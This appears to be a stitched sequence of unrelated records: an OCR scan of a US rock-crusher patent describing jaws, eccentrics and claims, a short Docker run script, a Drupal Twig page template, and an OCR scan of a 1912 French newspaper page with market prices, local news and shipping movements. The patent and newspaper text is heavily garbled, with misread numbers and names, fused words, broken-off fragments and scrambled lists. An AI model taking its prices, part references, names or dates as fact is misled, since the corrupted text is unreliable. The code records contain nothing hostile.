Adrive may be used.' A sprocket 53 is fixed on the shaft v43 to be Vdriven therewith and a chain 54 is trained around the sprocket 53 and another sprocket 5'5 which is como-unted with another sprocket 55 on a shaft 55a supported by one of the end walls I l of the machine frame I0. A sec- `ond` chain 54 is trained around the sprocket 5.5 and another sprocket 56, that is fixed on the The chain drive preferablycomprises a reduction so that the lower shaft 5'2 is driven` at a higher rate of speed than the shaft 43, ,preferably at the rate of 2 to 1. It will be noted that asv the shaft 52 is driven it will revolve the eccentric 5I and bearing 49 so that the outer race 48 will roll up and down on the bearing surface 45 of the wear plate 4S while reciprocating the crushing surfaces .2 -2 Il Although the lower end of the jaw I 6 will tend to follow the reciprocal movement of the outer f race 48 due to gravity, it is p-referred to positively maintain vcontact between the surface 45 of the bearing plate lt6 and th-e periphery of the race 4S. This may be accomplished by one or more pull rods 51 that may be connected to the jaw frame 3! and, according to the modification shown, a pull rod 51 m-ay be provided for each side Yof each of the jaw portions Itc--IBb to provide uniform tension, the rods for the lower jaw portion ISb lying on each side of the chute 8l. Each rod is connected by a pivot 58 mounted in a bracket 59 carried by the frame 3I, and extends rearwardly through an aperture B0 and socket 6I in the rear wall I3of the machine frame I0 and preferably extends beyond said rear wall I3 for a short dis- A helical spring,r 62 biases each pull rod tance. 51 outwardly to pull the jaw I6 against the race 48, the' spring 62 surrounding the rod 51, seating in the socket 6I and bearing against a collar 63 and nut 64 'threaded on the rod 51 for adjustment of the tension of the spring and biasing action thereof holding the surface 45 of bearing and wear plate 4B against race 48.
In order to effect adjustment of the lower end of the movable jaw IIS it is obvious-ly necessary to adjustably mount the shaft 52 in the en-d walls II of the machine frame I0. Consequently, the ends of the shaft 52 are preferably seated in bearings 65, preferably anti-friction bearings, which may be seated in corresponding slots 65 in Depending upon the type o-f drive system employed, the slots 65 are preferably arcuate and are pro-vided with means for adjustably positioning the bearings Y55 therein. In the present instance, as best sho-wn in Fig. 7, the slots 56 are `curved on a radius from the axis 55a, of the sprocket 55 so that the sprocket 56,
on the shaft 52, may swing with the chain 54' about the shaft 55a, when the bearings 65 are adjusted in the slots 615. The ends 51 of the slots 66 are preferably parallel in o-rder to flatly engage shims 58, a plurality of the said shims 68 being inserted in the slots EIB as desired on either o-r both sides of the bearings B5.
In assembling the machine o-f the present invention the shafts 43 and 512 are preferably arranged so that their respective eccentrics 42 and I have a predetermined relationship when said shafts are driven. This is desirable in order to lobtain maxi-mum operating efficiency, a posi-tive feed to the crushing surfaces I9-I 3 and 20--20, and to eliminate unnecessary abrasion of the wear plates 23 and 33. I-t is preferred that the relationship be such that `the lower eccentric 5I will act to move the crushing surfaces -20 toward their opposed surfaces I9-I9 only'when Y the up-perfecc'entric 42 passing througha crossthe rock.
The labove described operation has the additional advantage of positively feeding `the rock to the crushing portions I9-I-9 and 20-20 so -that theA rock will never jam or need additional means for maintaining an even flow through the machine. This action is effected by the retraction ofthe lower portions 20-20 duringr the longitudinal movement of 'the jaw I5 so that the throats V`IiP-2f), ISL-20" of the jaws are enlarged whenever there is a longitudinal agitation of the rock therebetween. Therefore, when the rock is loosened by longitudinal agitation, it is free to gravitate between. the expanded crushing portions.
Furthermore, they movement of the jaw IG-is preferably effected in such a manner as to obtain maximum Vfeeding action by driving the upper eccentric 42 in a` direction so that it moves downward when passing through its forward position so that the rock receives a positive downward movement when the upper portion of the jaw I5 passes through its forward position so as to positively push the rock down between the expanded portions I9-I9 and 2li-20. Consequently, the jaw I6 is moved upwardly while passing through its rearward position so that it is at its maximum spacing from the stationary jaws I5-I5' and thereby permits the readysettling of the rock, the upward movement imparted to the rock adjacent the jaw I 6 merely serving to agitato the impacted rock 'to promote its settling.
The hereinbefore described action of the jaws is diagrammatically illustrated in Figs. 8 thru 11, the jaw I5 being in a constant position throughout thesel diagrams. Fig, 8 illustrates the jaws and eccentricsin the same position as that shown in. Fig. 1 and this position will be employed as a starting point in describing the cycle of operation, the shafts 43 and 52 being driven in the direction of the small arrows associated therewith, according to the preferred operation of the invention` In the position of the apparatus shownin the drawings, the shafts are preferably driven counter-fclockwise.
Referring specifically to Fig. 8, it will be seen that the upper eccentric 42 is in the center of its forward position and, preferably, is in its downward stroke. Consequently, the jaw I B is moving downwardly, as indicated by the downward, vertical arrow V, and the upper end of the jaw is in its extreme forward position. Simultaneously, the lower eccentric 5I is in the center of its rearward movement, so that the crushing portions 2li-20' are retracted to their extreme rearward, open position as indicated by the horizontal, rearward arrow R. Therefore, as the jaw I 6 is moving downwardly with its upper end in forward position it will tend to push the rock down between the open crushing portions IQ-IS and 2li-20'.
It will be understood that Vduring the longitudinal movement of the jaw I5, its lower rear bearing surface 45 will travel over the periphery 48 of the lower bearing 49, the periphery or outer race 4I8 merely rolling along the reciprocating surface .position due to the 2 to 1 reduction drive therebetween. When the upper eccentric passes through its downward position the longitudinal movement of the jaw I6 is, for all practica1 purposes, substantially ceased and instead a lateral horizontal movement is imparted to the upper end of the jaw IB as indicated by the rearward, horizontal arrow H. During this period of substantially no longitudinal movement of jaw IB the' lower eccentric 5| is operated to impart a lateral, horizontal forward or inward movement to the lower end of the jaw I6 to deliver the forward, crushing stroke to the crushing portions 24J-20', as indicated by the horizontal, forward arrow F. Thus, the crushing stroke is delivered while the jaw is devoid of longitudinal movement eithei` upwardly or downwardly so that there is substantially no rubbing abrasion of the rock or wear plates 33 to substantially reduce or eliminate pulverization. Y
WithV continued rotation of the upper shaft 43 a quarterv revolution its eccentric 42 passes outwardly or rearwardly beyond its cross stroke to its extreme rearward position, as shown in Fig. 10, while moving upwardly. Consequently the jaw I6 receives an upward, longitudinal movement as indicated by the upward, vertical arrow V. Therefore, the lower shaft 52 simultaneously rotates half a revolution to revolve its eccentric 5|` to its rearward position to retract the crushing portions 2li- 20' as indicated by the horizontahrearward arrows R. Thus, while the jaw I6 is moved longitudinally upwardly the crushing portions are again opened so as to avoid abrasive pressure on the rock and wear plates and permit settling of the rock between the crushing portions lli-I9 and 20-20'. Furthermore, as the upper end of the jaw I6 is retracted while moving upwardly, the rock mass is permitted to expand and settle rather than to be fed backwardly as in the prior apparatus. As a matter of fact, the upward movement of the jaw is imparted only slightly to the rock in immediate contact therewith and this movement has the advantage of agitating the rock mass and thereby promotes settling of the mass.
Continued rotation of the upper shaft 43 a quarter revolution revolves its eccentric 42 to its upper position, as shown in Fig. l1, whereupon it is in the midst of its forward or inward crossstroke, as indicated by the forward horizontal arrow H', and longitudinal movement of the jaw I6 is ceased. Simultaneously, the lower shaft 52 rotates a half revolution to revolve its eccentric 5| forwardly or inwardly to impart a crushing stroke to the portions -20' as indicated by the horizontal forward arrows F. Thus, the crushing stroke is again delivered while the jaw I5 is free of longitudinal movement. Continued rotation of the shafts 43 and 52 moves the jaw I6 into its downward, open-throated feeding position which is, shown in Fig. 8 and completes the cycle of operation.
In view of the foregoing description, it will be seen that the crushing portions 20-20 deliver K a crushing stroke twice during each cycle of operation of the jaw I6, that is, for each revolution of the shaft 43 as well as a retracting stroke twice during such cycle, as described. The speed of operation may be varied through a relatively wide range; however, it is preferred that this speed should be regulatedY within specific limits or at least above a certain minimum. More specifically, it has been found that superior results are obtained if the rock receives two impacts while gravitating between each of the crushing portions I-Z and |9-2D.
To graphically illustrate, a piece of rock X is shown .at the entrance of the crushing throat ISB- 20 in Fig. 8. Between gravity and the feed-4 ing and settling action of the jaw I6, this rock X is delivered into the upper end of the throat Ill-2Q and impacted therein, as shown in Fig. 9, to break or crush it into pieces When'the throat IEB-29 is again opened, the pieces gravitate and are fed downwardly as shown in Fig. 10 and are again impacted in the lower end of the throat Isl-2c, as shown in Fig. 11, to further crush it to approximately the desired size.
The crushed rock n; then gravitates from the crushing portions |9-20 onto the screen or bar grizzly |50 where that part of the rock that has been crushed to the desired size Will be sifted and will drop through the screen into the chute 8| and discharged as to a conveyor C, as illustrated by the rock az in Fig. 10 and as also shown in Fig. 1. The larger rock that cannot pass through the screen will roll or slide down the incline of the screen Ic into the lower set of jaws |5-|6b where the rock again receives about two crushing strokes while passing between the portions |92U where it is further crushed to provide rock x of the desired size, after which it is also discharged, as to the conveyor C.
By this arrangement, the rock X is crushed to provide crushed rock of substantially uniform size and with a minimum of waste in dust and chips.
the portions Ill- 25, this rock is not subject to pulverzation in the subsequent crushing operation. Furthermore, the rock need not be crushed.: i;
as heavily in the rst operation as is necessary if the rock is crushed in a single operation, as the portions |9-2 may be spaced further apart than the jaws I5-2ll. In addition, even though the rock is subject to two operations and passes between two sets of jaws, according to the present invention, there is only one movable jaw and only one drive mechanism.
In a preferred size and form of machine it has been found that if the shaft 43 is driven at 200 R. P. M. and the shaft 52 at 400 R. P. M., the rock falls about 4 inches between impacts or during a complete cycle of operation. Therefore, it has been found that the crushing portions |9-|9' and 2li-20 obtained the desired results when they are about 6 inches in height. Obviously, the rock may be impacted more than twice but this action is not necessary as the desired results are obtained, for all practical purposes, by a double impact and the excessive wear on the machine due to a higher rate of operation more than offsets any advantage. In addition, it is evident that the invention may be practised with two movable jaws in lieu of one movable and one stationary, with both movable jaws operating in the manner of the herein-described jaw I6. However, the use of the stationary jaw l5 is By removal of therock which is crushed to proper size in the first crushing operation by preferred so as to simplify and economize on construction and operation while obtaining substantially equally satisfactory results.
YIt will be understood that the present invention `is equally adaptable for crushing ore, coal or other friable materials although described herein as a rock crusher.
Although a certain specific embodiment of the invention has been shown and described, it is obvious that many modications thereof are `pos,- sible. The invention, therefore, is not to be restricted except in so far as is necessitated by the prior art and by the spirit of the appended claims,
* Ihat which is claimed as new is:
1. n rock crusher comprising a base frame having two crusher sections, one above the other, a p air of opposed jaws in veach of said Crusher sections, each said jaw having an inclined portion cooperative with the opposed jaw and said base frame to form a hopper and a substantially vertical portion cooperative with the opposed jaw to form crusher portions, one jaw of each pair being mounted 'in said base frame in independently adjustable stationary relationship, a single jaw frame extending through both of said crusher sections and carrying the other jaw of each pair, an eccentric journalled in said base frame and pivotally supporting the upper end of said jaw frame adjacent the upper end of the upper ofthe jaws carried thereby, said jaw frame being oiiset between the lower end of the upper jaw and the upper end of the lower jaw and having a passage through said offset, a screen mounted across said passage substantially flush with the surface of said olset, a lower rotatable eccentric means journalled in said base frame and slidably engaging the lower portion of said jaw frame behind the crusher portion of the lower jaw carried thereby, means between said jaw frame and said base frame and resiliently retracting said jaw frame against said lower eccentric means, and means for driving said upper eccentric and lower eccentric means and including means correlating therate of the lower eccentric means at a two,- tofone ratio relative to the rate of said upper eccentric and with the eccentric portions thereof in uniform angular relation about their axes.
I2. VA rock Crusher as defined in claim' 1 wherein said `jaw frame offset has recessed ledges on kopposite sides of said passage and said screen comprises a plurality of grizzly bars mounted in spaced parallel relation on said ledges and spanning said passage, said grizzly vbars having acute angle notches in their upper corner portions, spacers on said ledges between the ends of said grizzly bars and having inclined upper surfaces corresponding to the angularly disposed edges of the notches, retainer bars overlying said edges and mounted inlsaid notches and on said vspacers and having an inclined bottom surface mating with the LSpacers and notch edges, and means securing the retainer bars in position to lockA the grizzly barsin place.
' NELSGN H. BOGlE.
REFERENCES CITED Ihe following references are o f record in the le or this patent:
UNITED STATES PATENTS Number Name Date 59,165 Battell Oct. 30, 1866 223,281 Dubois Jan. 6, 1888 523,938 VHowland July 31, 1894 607,575 Sturtevant et al. July 19, 1898 757,004 Wild Apr. 12, 1904 794,876 Moulton July 18, 1905 962,998 Christ June 28, 1910 1,054,123 Hutchinson Feb. 25, 1913 1,098,105 Friedrich May 26, 1914 1,346,871 Andresen July 20, 19,20 1,899,930 Bakstad Mar. 7, 1933 1,936,742 Youtsey v Nov. 28, 1933 1,972,096 Guest Sept. 4, 1934 2,161,573 Henry June 6, 1939 2,326,215 Gruender Aug. 10, 1943 2,380,419 Ebersol July 31, 1945 2,383,457 Anderson Aug. 28, 1945 2,485,718 EberSOl ---,-.--.g Qct. 25. 1949 FOREIGN PATENTS Number Country Date 2,375 Great Britain June 7-, 1876 260,705 Italy Oct. 10,` 1928 52,728 Norway June 26,' 1933.
| 35,122 |
https://github.com/orzen/docker-nodejs/blob/master/run.sh | Github Open Source | Open Source | Apache-2.0 | null | docker-nodejs | orzen | Shell | Code | 25 | 83 | #!/bin/sh
docker run --rm -it \
-p 8888:8888 \
-p 5000:5000 \
-v $PWD:/home/node/app \
--workdir /home/node/app \
--network host \
--entrypoint /bin/bash \
node:slim
| 35,502 |
https://github.com/echarish/apigee-kickstart-drupal8-drops/blob/master/web/profiles/contrib/apigee_devportal_kickstart/themes/custom/apigee_kickstart/templates/node/node--page--full.html.twig | Github Open Source | Open Source | MIT | 2,020 | apigee-kickstart-drupal8-drops | echarish | Twig | Code | 71 | 236 | {#
/**
* @file
* Template for a 'Basic page' node in full display mode.
*/
#}
{% extends '@apigee-kickstart/node/node.twig' %}
{% block content %}
{% if content.field_header|render %}
{{ content.field_header }}
{% if tasks|render %}
<div class="page__tasks">
<div class="container">
{{ tasks }}
</div>
</div>
{% endif %}
{% endif %}
{% include '@apigee-kickstart/page/sidebar-default.twig' with {
container: true,
content: content|without('field_header'),
sidebar_first: sidebar_first,
sidebar_second: sidebar_second,
content_no_sidebar_col_classes: ['col-lg-8']
} %}
{% endblock %}
| 38,515 |
bpt6k3668345s_3 | French-PD-Newspapers | Open Culture | Public Domain | null | None | None | French | Spoken | 5,832 | 15,043 | ang Meteore. de Roecoff.Nav. fr. Jeannette, de l'Algulllon. Nav fr Alice, de Rouen. Bt ange. Henri Elise, de Rouen.fnil.L — PSétto: fi Janvier, st ang Tl vert on. p. PortSald.R ang Francisco, p. New-York .BWANSEA Partis; Il janvier, nan. fr Irma, de Mortagna. , Nav fr. Renée Marthe, p. Rouen.GRAINS ET FARINES Bordeaux, 14 Janvier. Blés. — L'agriculture se montre de plus eu plu» inquiète de lu persistance du régime pluvieux que nous subissons depuis déjà longtemps. Lee plaintes portent surtout sur le développement anormal des mauvaises herbes, mais quelques jours de froid on auraient vite débarrassé les terre.La culture no montre aucun empressement ft la vente, et malgré le mouvement de hausse de cee deruicra Jour», iee offres paraissent encore moins abondante» Ia meunerie. dont les réserves s’épissent. a dû accepter depuis quelques Jours un relèvemont assez accentué des prix.Ce mouvement de hausse est favorisé par la fortneté de l'étranger provoquée par de» nouvelle» de moins en moins satisfaisante» do la récolte en Argentine, où des pluies abondantes entravent ta moisson et nuisent à ta bonne qualité du grainOn cote : 26 fr 25 h* H» kilos, départ de* o<‘parl<vnefita pr<iducteure du Centre; 22 fr. l'hectolitre dan» notre rayon.Farine». — L.e mouvement de hausse s’est accentué, en sympathie avec les blés, et lu tendance resté ferme.On cote; Farlnee fleur du Haut-Pays, 86 (r. 50 le» 100 kilos, aux usages de la pince; supérieure du Centre, 33 fr. 50; escompte 1 %.lestez. — l^e disponible reste presque introuvable et ù dm prix trie élevés. L importation continue impossljjle eu raison de» prix demandés par l’étranger.On cote: Son gr.. 17 fr 50 les 100 kilo», nus, ordinaire, 16 fr. 50; repaire fine, 18 fr Tg) tes 100 kilos; ordinaire. 17 fr.Mais. — Les mal» êtrangor» font presque complètement défaut sur place jt sont A acs prix très élevésOn cote. R<nix de pays, 17 fr. 25 les 75 kilos? logés, départ; blanc do pava. 18 fr. 25; Clnquantini. sur fin courant. 23 fr. les 100 kilos, nus. pris A bordAvoines. — l.e» kiffées de la culture sont toujours aussi restreintes. alors que la demande est nwz active pour toutes lee directions Les cours s'inscrivent <vi nouvelle hausse, malgré l'importation qui se fait par tous le# porta du nord de la n,noce.On «vite : Grlwe do Poitou 81 fr 50 A 81 tr. 75; Bretagne grises. 81 tr. à 81 fr. 85; noires, manque; Algérie. 19 fr 50 A 19 fr. 75 les 100 kilosOrges. — La tendance est plus ferme. On cota : Orge de pays. 20 fr. tes 100 kilo», nus; Algérie. 19 fr ».Seigle». — Le» offres en eolglee indigène* sont absolument malles, et lee seigle* frangées sont très ferme*On cote : Seigle allemand, 22 fr. Ire 100 kb logs. nus. pris A bord.paiLles et fourrages ' Ou cote : Foins naturels, 45 fr. les C00 kilos, en bottes de 5 A 6 kilos.Feins luzernes, 52 fr. les 600 kilos, en bob te* de 5 A 6 kilos.Pelll* d* froment, 82 fr. les 500 kilos, en botte» de 5 A 6 kilos. PT.H,eBld1 7 Ioe 100 «n bottes de 25 kilos.Ces prix s'entendent franco Bordeaux, sur wagon complet. w»ÛAFM Le mouvement d* recul signalé la semaine dernière s’est grandement accentué cotte semaine, et nous clôturons avec 2 francs do baisse sur samedi dernier. Ce fléchissement net dû à des offres plis basses venues de Santos et A de fortes réolisatlone de haussiers sur les doux marchés A terme. Eu outre, U paraît y avoir de meilleures nouvelles au sujet de la récolte actuelle et aussi dc la future. Le rendement général de ces deux •amble devoir être plus important que tes estimations précédemment connues. En présence de cette situation, l'opinion qui prévaut est que les prix pourront empire fléchir, et le commence parait disposé à n’acheter Q1*'*? furet et à mesure de ses besoins Immédiats.POIVRES Cet article ne donne lieu qu'à des transaction* très limitée» La spéculation ne semble pas disposée à ry Intéresser. Cependant, le* prix se maintiennent assez facihuiH'nt, en présence de la rareté des offres de indo-Telliohery, 66; Saigon, 91 50.TARTRES ET DÉRIVÉS On a vendu t 10.060 kilos lie*, à 1 tr. 1* degré.Mto* Uw. â 0 fr. 676 le infra. maïs Iertre» 11 fr* le degré. 4.000 kl* tartre, à 1 fr. Mis degré.MONTREALDU-GERS L’Affaire JoujaA l'instruction Plusieurs témoins sont convoqués devant M. CaiLlau pour lundi. Parmi eux se trouvent Joseph Tarrlt, beau-père de Samaran; Tarrit, dit Pichère, cousin de ce dernier, et Félix Carrère, qui a rencontré, le Jour de l’immersion du corps do Touja.<*oute bande Sama cancan bau.NOUVELLES D ESPAGNEFou dangereux. ,, ,. Vltoria, 12 janvier. Un pleure homme appartenant A une de» plu» distinguées famille» de la vin* s'était testé hier sur la porte du café Suisse moderne, dans la rue de la Estaclon. un révolu< ver A la main, et pendant de trop louguo® minutes, 11 s’est amusé à tirer des balles suc les passants.L’un de ceux-ci, Lorenzo Juaita, brigadierrégiment de cavalerie d’Alphonse XIH. < été blessé A la tête par un projectile qui est sorti par l’œil droit, et son état est dés ex père.Une dame, la femme du commandant d’in, friterie Manuel Moreno, a également êtt blessée A la tête et est morte presque instantanément.Un séminariste, âgé de vingt ans, Ambro» sio Marttnez, a été blessé A In cuisse droite.Ite Jeune fou a tiré quelques autres ballet qui ont. fort heureusement, manqué keufCes prouesses terminée», il a tranquille ment remis son arme dans la poche et a regagné son domicile avec la plus grande s*, récité, au petit pas et on se frottant 1er mains.■ "7 ,e,r> IV (l>. Kalleyj’ Kogers; le, Lorenzacclo (Dussau). A niskarcahal. ntaktmtdo. Auseftaie. : Gagnant : 18 tr.; placés, e fr. M fendant la course. Védrine» ~<t venu évoluer ati-dossiLs de rhfppodronuo, en faisant écala foute ’ QU< °Ul <>A& Raluéa l,ar ,f'‘ vivat»BELLAO Un Petit Drame. Vif émoi, samedi matin, rue Barbior. Un nommé U..., marié depuis doux mois et denn, u tiré deux coup» de revolver sur sa jeunot fumée, qu’il vviuilt de trouver dauba une attitude d<» plus suggestives avec son propre beau frère.Ixs deux amants ne furent pas atteinte; Le mari ferma la porto de l'appartement ou 11 venait de constater son infortune conjugale <4 fit prévenir le procureur de la République. U y u eu plus de bruit que de mai. néanmoins ce petit scandale n‘a pas manqué d* produire une certaine émotion dans lo cuirôter. 4LANDES5 fûts crème do tartre, à 171 fr. les Mh) kilos 7 fûts crème de cartée, à 172 fr. les 10» kilos 1,000 kilos acide tartriqjo A 270 fr. les 100 kilos.Marché avec sentiment do faiblesse. vos Srix, quoique Inchangés, accusent une ton-este A fléchir sur le» moi* a venir. Un cote : Lie de cristallisation, de 0 fr. 95 A 1 fr 05 te degré.Lie acidité totale, do 1 fr. 25 A 1 fr degré.Tartres, selon rendement, de 1 fr. 1 fr. 30 le degré.Cristaux de tartre. d« 1 tr. 40 à degré.Creme kilo*.Acide f kilos.85 % d’azote. 1 A 8 % ité d’azote, 2 tr. 25.PRIX D’ANTIBU Hait*. — 4.000 fr. — 3.500 mètre». 1 IUOUMAJOU (ParfromMt), A M. A Q 1 àVell-Plcard p 9 SCOFF II (p. a.) Iloadj, A M. Cb' Lié-' "tari p. 0 W 3. Infortuné (Olomsoo). — 4. Mliane (ThiiMiiUlZ Gagné U une demi longueur ; le troleioœe a uni demi-longueur.GRAND-PRIX DI LA VILL1 DI NI01 Sleople-chase. — 100,000 fr.. en outreA l’éleveur. — 4.400 mètre». 1 IlAT-tlRAHS (P. O.) (A. Carter). A M.M. M.PULR LL2 w IRUl'HE UE RUELLE. — H y avait un» assistance considérable dimanche matin, A la cathédrale d'Angoulême, au service funèbre célébré sur initiative de la Société de secours aux brossa* militaires, en souvenir des soldats e< murons morts pour la patrie. 1La cérémonie était présidée par l’évoque d Angouléme, qui a donné l'absoute et a pris la virole.Au cours de la cérémonie, une quête fructueuse a été faite pour Ire familles des victimes de la catastrophe de HueUe.RUELLE A la Fonderie. Par ordre du 13 Janvier 1912 (soir), M. l’ingénieur en chef directeur de l’établissement » exprime ainsi:• Ln remerciant de tout son cœur lo personnel do la fonderie qui a pris part au sauvetage des malheureuses victimes de l’accident du 8 Janvier, l’ingénieur en chef directeur avait devoir de mettre à l’ordre les noms des ingénieurs, des médecins et pharmaciens. des agents administratifs et comptables, des agents techniques et des ouvriers qui lui ont été signalés comme s’étant spécialement distingués dans les secours apportés. Ce sont :»M 1 ingénieur principal Soutra; M. l'ingénieur do Ire classe Marc; M. l’officierd’admiplstration Doucet; M. l'agent comptable manier; MM. les agents administratifs Gilet et Boucheret; MM. les agents techniques Gras, Bouyer, Dupouy. Chalard, Joumler, Monin, Buzat, Durand;• Le personnel de la compagnie des pompiers. parmi lequel plus spécialement: MM. Régnier, agent technique; Lamarsaude, Chabanais. Barrière, Callaudreau, Dcbet et Lebleu: , • L**3 ouvriers : Léger, Duthcil, Simonnet, Lçsport, Iruffier, Fargo. Lamy, Cardlnaud, Musse, Abrlat, Banlfn, Delage, Denis, Jean Guichard, Gaston Estève, Mercier, Ducaffy Bourcillon, Fontenet, Clémenceau, Poitevin,’ Gros, Guibert, Itelinont, Tourner. Clémenbeau, Poitevin, Gros, Guibert, Belmont, Tourner, et le gardien de bureau auxiliaire Poinrebu :• MM. Brochet, médecin principal; Lo Floch et Bessiêre. médecins de Ire classe; Janbeau, pharmacien de 2c classe; Puech, premier naître infirmier; Dizabo, quartier-maître infirmier; Laboisne, Ecoupaud et Vaudon, et les ouvriers: Bouret, Vincent. Fournial, Guichard, Leneuf, Faure, Tournaire Mouchet, qui ont prodigué leurs soins aux blessés A 1 infirmerie; enfin, le brigadier de gendarmerie Baudet.• Il leur adresse plus particulièrement tons sec r «merclments. *A VINOHNNB» Voici le résultat des courses de dimanche 1PRIX DE VILLERVILLE Trot monté. — 9.500 tr. — 9.400 1 Q J (Kug^u»), à M. O.Ihlbault |> 9 INDIEN (Breiix). A M. Lepïaire. P. 3 WKNEK (P. U l (Vis»), A M. Lal-Non lacés ; Italie (O’Bréhin). Inattendue (Devaux) Indien (Labatul), Imitation (Trèard), |<tla|)ile (Pain), modulo (Auvray), Irma (Caumont). Iris (bclamarre), impératrice (L» Foreetlvr).PRIX DU ME8LE Trol attelé. A réclamer, solde libre. — 9,000 fr.8,500 mètres. FHESNAy (P. ü.l (Tamberl). M. c. n.m.'wau FOUDRK (Salnmartln), Ü ' Beau Lobe't'11 ^Méqutenon), A M.mètres. 53 » 31 RO 18 » 9 50 39 » H » 91. 10 50 Non placés : Hourraü (Héroult). Iran (Labatul), Havane (Vlvet). Hébé (Cbauvln) Havane (Boubeau) llermlnle (Trèard), Irlande (L. Boudet), liernana (Delamarre). Hirondelle (E. Picard), Ivonnede-Conrhe» (Telller). Harlette (l'ottler).PRIX DE CARQUEBUT Trot attelé, poids libre. — 9,500 tr. — 1 1 GIUNOUB9 (pain;, A M. IM-G.r<*»y p. 9 GARCIA (Leçonte). A M. L. Bls3 HARPON "(Verzëeïêj," »' "M. ' ïé l>"prince Sturdza P. Non placés : Gargllas» (Dclamurre) (Enslng), Gessler (Welckert), Héroïne (Laurenï), Grazlella (Cadlot), Hourlon (Mé<fulgnon), lléulr» (Salnmartln), Hlldegonde (Visa), Hereilie filmomardi. Hic (Macarlo), Hercule (Maunier), Gitan® (Tamberl).PRIX PIERRE-PLAZEN Trot monté. — 10,000 fr. — 3,000 t HELOÏSE (P G.) (Méqulrnon). G.à M. L. Tacquet p, 9 MARCEAU (Noroux), à M. H.Bail y p. 3 HELIOS (C. de Wazlères). auaras de» Giboulées P.; GIBRALTAR. — Posa» : •U uKtita *■ *“* Sln^a' M *FC OU. Tlb*r, de MareeUJ* a Copenhague.ti^'f-HaMInira, de ta Tyne à Clvlta Vecchl». y Méditerranée t PALAMOS. — Arrivé : t21 1y1^,jUe,t fr Saint Pierre, d Anverw iVENISE — Parti 1 W KÏÏ^ff* ,,&1 1'raucee<x> Musmer, p.De Tanger auCap de Bonne-Eepéraiwa 1 CAP-SPARTEL — Passé 1 13 jpontar' Bt Ir Formo“°e Marseille â laTBNER1FML Parti ; “ «• -"«r» UBIERRA-LEONX -■ Arrivé : *Æ'nÀ? <*• *">««” “1 ttouv'M'ziïL""10™*-ae L"MrM ‘ >•Du Cap de Bonne-Espérance 11 Janvier, st ange. Manica, de Londree.Mer Rouge et Oanal de Suez tSAJD Arrivé ; Æ’L Pas"*: Attl1*1 d* P,Ume' U Jk?aVndrr' * Bn< Morca* d0 Andrée à An-st .anf * Caknlta â Gênre..if n71^&rrocllr de honthay à Hull.Wnrïleur, de Kurra-chc» a Ham. DOUHg. 6t. ange. Ctty-of Karachi, deCalcutta. 8t®nÇ Clty-of Karachi, deCalcutta. D'Aden au Kamtchatka t ADEN. — Arrivé: 12 Janvier, st ange. Sunda. deCalcutta. BOMBAY Arrivé: 12 Janvier, st. belge Flnland, de New-YorkAn vers. Coiximbo. — Parti î 11 ^Londre**4' aD,‘ OsU'rieur* de BrlsbaneYokohama. — Arrivé: 11 Janvier, st. ang Ltioerto, de Victoria.Océanie : MELBOUIINB. Arrivé : 18 J un y h r, st. ang Crosby-HaU, de Betra.AuhLAlDE — Arrivé: 12 Janvier, si. nord. Ty&la. de GoUicmbourgIIOBART-TOWN. Arrivé: uvuuuu*,ur«’ Vevn)i-cv’ 81 2"R. Fcannade Melbourne.SYDNEY. — Arrivé : 18 janvier, st. ange. Chtltonford, de New-castée. PORTPIRIE — Arrivé: 12 Janvier, st. ange. Erasmo, de Londree.De la Presqu'île d'Alaskaau Cap Horn i SAN FRANCISCO. Arrivé: 18 Janvier si. ang Obcron, d’Ancon.Du Cap Morn à Colon t MONTEVIDEO. Parti ; 11 janvier, M uni. Strnlbory, p. Dunker-FERNANDO NORONHA. — Passé12 janvier, st. ah. erlang, de LiverpoolCaJiao. st. ange. Rcllaglo, du Callao â Liverpool. Grandet et Petitee Antillee i • VEBA CR1Z. — tarti :811 r YPcranUaPHambourg. 8AND-KEY. — lobé :■ r.-.-.—, ». v. , v., 1. fcVU» ta pièce.. BEAUMONT-DE-LOMAONE MARCHE DU U JANVIER. — Voici les coure praticjiic» ; IBlé. ?t tr ; avoine, de 10 fr. 4 « fr. S); mal». • te !» a 90 fr. ; devons, tv tr. ; haricots. 4* fr.. lo tout Ibrelollire. 'PiMilot». <le 9 fr. 50 » 3 fr. 50; pcHilc». de 3 fr. » 4 fr. 50; canards, <le 3 tr. A 3 fr. 50; pigeon» do 00 c. A I fr., le tout la toreOies grasse», de t fr. 10 A I fr 90 lo d ml-kllo. veufs, 1 fr. 90 la douzaine.LIXAO LA FOUIE. — Elle a été très* b<-Ue; Il a été conduit 100 nuire» de bœuf*. 95 paires de vaclio» et w «Anlise*, fats cours ont une tnnd.œce A 1» baisse, on cote 14 fr. pour les boeuf»; XV A 40 fr. pour les vache»; 41 A 44 fr. pour les «Antsse». te tout les 50 le.James iiennossy '..... ..........." 9 L’AUGFNTIKIIÉII (Thibault). »A Vell-Plcard 8 HOPPER <P. Q.) (LMCMter), àGuerlain. : Blagueur II (Parfrement), Ma FIF 6. ’ Morrau>, Montlcrtlo ;a Benson), Huma» moto (He.rdi. Lucullus-irr (Hollobone). HinlertaX; Chapnianl. Petit nue (O Connor). Male-iï (K. Doux). Clanrüah (P Woodlend).Gagné de deux longueur»; le troisième A un* longueur et demie.PRIX DE LA EAU DES ANOE8 Halo*, handicap. — 4.000 fr. — 1.*» mires. 1 GAY DUCHES8 (Lancaster). A M L. LIGNES Ôe STEAMERS et ta VOILIERS en CHARGE à BORDEAUX pour le LONG COURS et le CABOTAGEilioa-iay, eAeT-Loeooe,limiionflmritaLliiliM BAWRIOK.DEPARTS DE BORDEAUXloBanDuro-SüflanieriïamscMii»»Isbonne, Rio-BRÉSIL#. S. .4 ntonhiHDEPARTS DE MARSEILLEChargera » Bordeaux. lee 1» t» JiX S. S. Rio-Nexro, f le «janvier 1B12 du HAVREBamDurgflmBrlKa UnieVictoriaAj-LBC3BEAUX-HAVREs. ston.desSpleniiidei améMgwiiti pair pageât.Connaissement» directe dépoli Bordeaux.uv. pour Port-Saïd Sues, Djibouti.Del Ostaslatiske'Arien, •Molicndo etpaquebot■. Macao, Manille,i. viadlvost» ipontKompasnlS'adresser au Bureau d'inscription"lijuiquiC* DES MESSAGERIES IHARITIME1pour fetde Copenhague$ ç>Saint-ThomasGntrepoeiteirce, htagealnpgo, etc.Sainte-CroixDominicaEîSainte-LucieBarbadeKamburg-Amerika Unie13*TrinidadCAPDemeraraParamariboPROCRE5OTrieste. Flume. Venise, Ancône, BarlCeiRilssc chicots <Irc!s depuis roiil* l'intérieur.TMp.-PàH18 .X.-eei-lt—Télep BUnUSAbl N» 3.183PLATAIleBambnrg-Amerlka UnieÛàDaru toute* le* Semaine*.CONARD LINENEW-YORKLe 